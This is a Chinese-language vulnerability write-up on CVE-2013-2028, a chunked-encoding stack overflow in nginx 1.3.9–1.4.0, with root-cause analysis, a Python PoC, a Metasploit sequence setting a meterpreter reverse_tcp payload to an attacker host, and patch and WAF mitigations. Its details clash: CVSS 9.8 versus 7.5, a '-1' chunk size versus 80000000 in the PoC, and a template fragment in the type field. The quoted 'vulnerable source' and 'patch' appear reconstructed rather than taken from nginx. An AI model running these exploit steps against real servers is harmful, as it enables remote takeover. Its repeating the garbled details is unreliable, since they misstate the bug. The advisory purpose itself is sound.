一、漏洞简介

1.1 漏洞背景

HTTP Chunked 编码用于传输未知大小的数据。Nginx 在解析 Chunked 编码的请求时存在栈缓冲区溢出漏洞,这是 Nginx 历史上最严重的漏洞之一。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2013-2028
危害等级 HIGH / 7.5
漏洞类型 漏洞 4: - Chunked 编码缓冲区溢出
披露时间 2013-07-20
影响组件 Nginx 重点安全
  • CVE 编号:CVE-2013-2028
  • 危害等级:高(Major)
  • CVSS 评分:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(9.8)
  • 漏洞类型:栈缓冲区溢出
  • 潜在影响:远程代码执行(RCE)

补充核验信息:公开时间:2013-07-20;NVD 评分:7.5(HIGH);CWE:CWE-787。

二、影响范围

2.1 受影响的版本

  • Nginx 1.3.9 - 1.4.0

2.2 不受影响的版本

  • Nginx 1.5.0 及以上
  • Nginx 1.4.1 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 攻击者能够发送特制的 Chunked 编码 HTTP 请求
  2. 请求中包含超大的 chunk size 值

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击者通过发送恶意的 Chunked 编码请求: 1. 在 chunk size 字段中指定一个负数(如 -1) 2. Nginx 在解析时发生整数符号错误(signedness error) 3. 将负数转换为极大的无符号整数 4. 导致栈缓冲区溢出 5. 覆盖返回地址,执行任意代码

恶意请求示例

POST /upload HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

-1
[shellcode]

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置src/http/ngx_http_parse.c

问题根因: 在函数 ngx_http_parse_chunked() 中,解析 chunk size 时使用了有符号整数,但在后续计算中将其作为无符号整数使用,导致整数符号错误。

漏洞代码

ngx_int_t
ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,
    ngx_http_chunked_t *ctx)
{
    u_char     c;
    ngx_int_t  rc;
    size_t     size;  /* 无符号类型 */

    /* ... */

    /* 解析 chunk size */
    case sw_chunk_size:
        if (c >= '0' && c <= '9') {
            ctx->chunk_size = ctx->chunk_size * 16 + (c - '0');
        } else if (c >= 'a' && c <= 'f') {
            ctx->chunk_size = ctx->chunk_size * 16 + (c - 'a' + 10);
        } else if (c >= 'A' && c <= 'F') {
            ctx->chunk_size = ctx->chunk_size * 16 + (c - 'A' + 10);
        }
        /* 问题:没有检查 ctx->chunk_size 是否为负数! */

        /* 后续使用时作为无符号数 */
        size = ctx->chunk_size;  /* 如果 chunk_size 是负数,这里会变成极大值 */

        /* 栈缓冲区溢出 */
        ngx_memcpy(buffer, data, size);  /* size 过大导致溢出 */
}

补丁修复

/* 添加溢出检查 */
case sw_chunk_size:
    if (c >= '0' && c <= '9') {
        ctx->chunk_size = ctx->chunk_size * 16 + (c - '0');
    }
    /* ... */

    /* 添加最大值检查 */
    if (ctx->chunk_size > NGX_MAX_ALLOC_FROM_POOL) {
        return NGX_ERROR;
    }

四、漏洞复现(可选)

4.1 环境搭建

# 使用受影响版本
FROM ubuntu:12.04
RUN apt-get update && apt-get install -y wget build-essential libpcre3-dev zlib1g-dev
RUN wget http://nginx.org/download/nginx-1.4.0.tar.gz && \
    tar -xzf nginx-1.4.0.tar.gz && \
    cd nginx-1.4.0 && \
    ./configure && make && make install

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
# CVE-2013-2028 PoC - Chunked Buffer Overflow
import socket
import struct

def create_exploit():
    """构造恶意 Chunked 请求"""

    # HTTP 请求头
    request = b"POST / HTTP/1.1\r\n"
    request += b"Host: target.com\r\n"
    request += b"Transfer-Encoding: chunked\r\n"
    request += b"\r\n"

    # 恶意 chunk size (-1 在十六进制中为 FFFFFFFFFFFFFFFF)
    # 实际上会触发整数溢出
    chunk_size = b"80000000\r\n"  # 超大 chunk size

    # 填充数据(用于溢出缓冲区)
    padding = b"A" * 1000

    # Shellcode(示例,实际需要根据目标系统调整)
    # 这里仅作演示
    shellcode = b"\x90" * 100 + b"\xCC"  # INT3 断点

    exploit = request + chunk_size + padding + shellcode

    return exploit

def exploit_target(host, port):
    """发送 exploit"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    exploit = create_exploit()
    sock.send(exploit)

    try:
        response = sock.recv(4096)
        print(f"[+] 响应: {response.decode()}")
    except:
        pass

    sock.close()

if __name__ == '__main__':
    exploit_target('target-server', 80)

使用 Metasploit 测试

# 在 Metasploit 中有公开的 exploit 模块
msfconsole
use exploit/linux/http/nginx_chunked_overflow
set RHOSTS target-server
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

五、修复建议与缓解措施

5.1 官方版本升级建议

# 立即升级(紧急!)
wget http://nginx.org/download/nginx-1.4.1.tar.gz
tar -xzf nginx-1.4.1.tar.gz
cd nginx-1.4.1
./configure && make && make upgrade

# 或应用补丁
cd nginx-1.4.0
wget http://nginx.org/download/patch.2013.chunked.txt
patch -p1 < patch.2013.chunked.txt
make && make upgrade

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 禁用 Chunked 编码(如果业务允许): nginx server { if ($http_transfer_encoding ~* chunked) { return 400; # 拒绝 Chunked 请求 } }

  2. 使用 WAF 拦截# ModSecurity 规则 SecRule REQUEST_HEADERS:Transfer-Encoding "@streq chunked" \ "id:100004,phase:1,deny,status:400,msg:'Chunked encoding blocked'"

  3. 限制请求体大小nginx server { client_max_body_size 10m; client_body_buffer_size 128k; }

六、参考信息 / 参考链接

6.1 官方安全通告

  • Nginx 安全公告:http://mailman.nginx.org/pipermail/nginx-announce/2013/000112.html
  • 官方补丁:http://nginx.org/download/patch.2013.chunked.txt

6.2 其他技术参考资料

  • NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2013-2028
  • VNSecurity 分析:http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/
  • Metasploit 模块:https://github.com/rapid7/metasploit-framework/pull/1834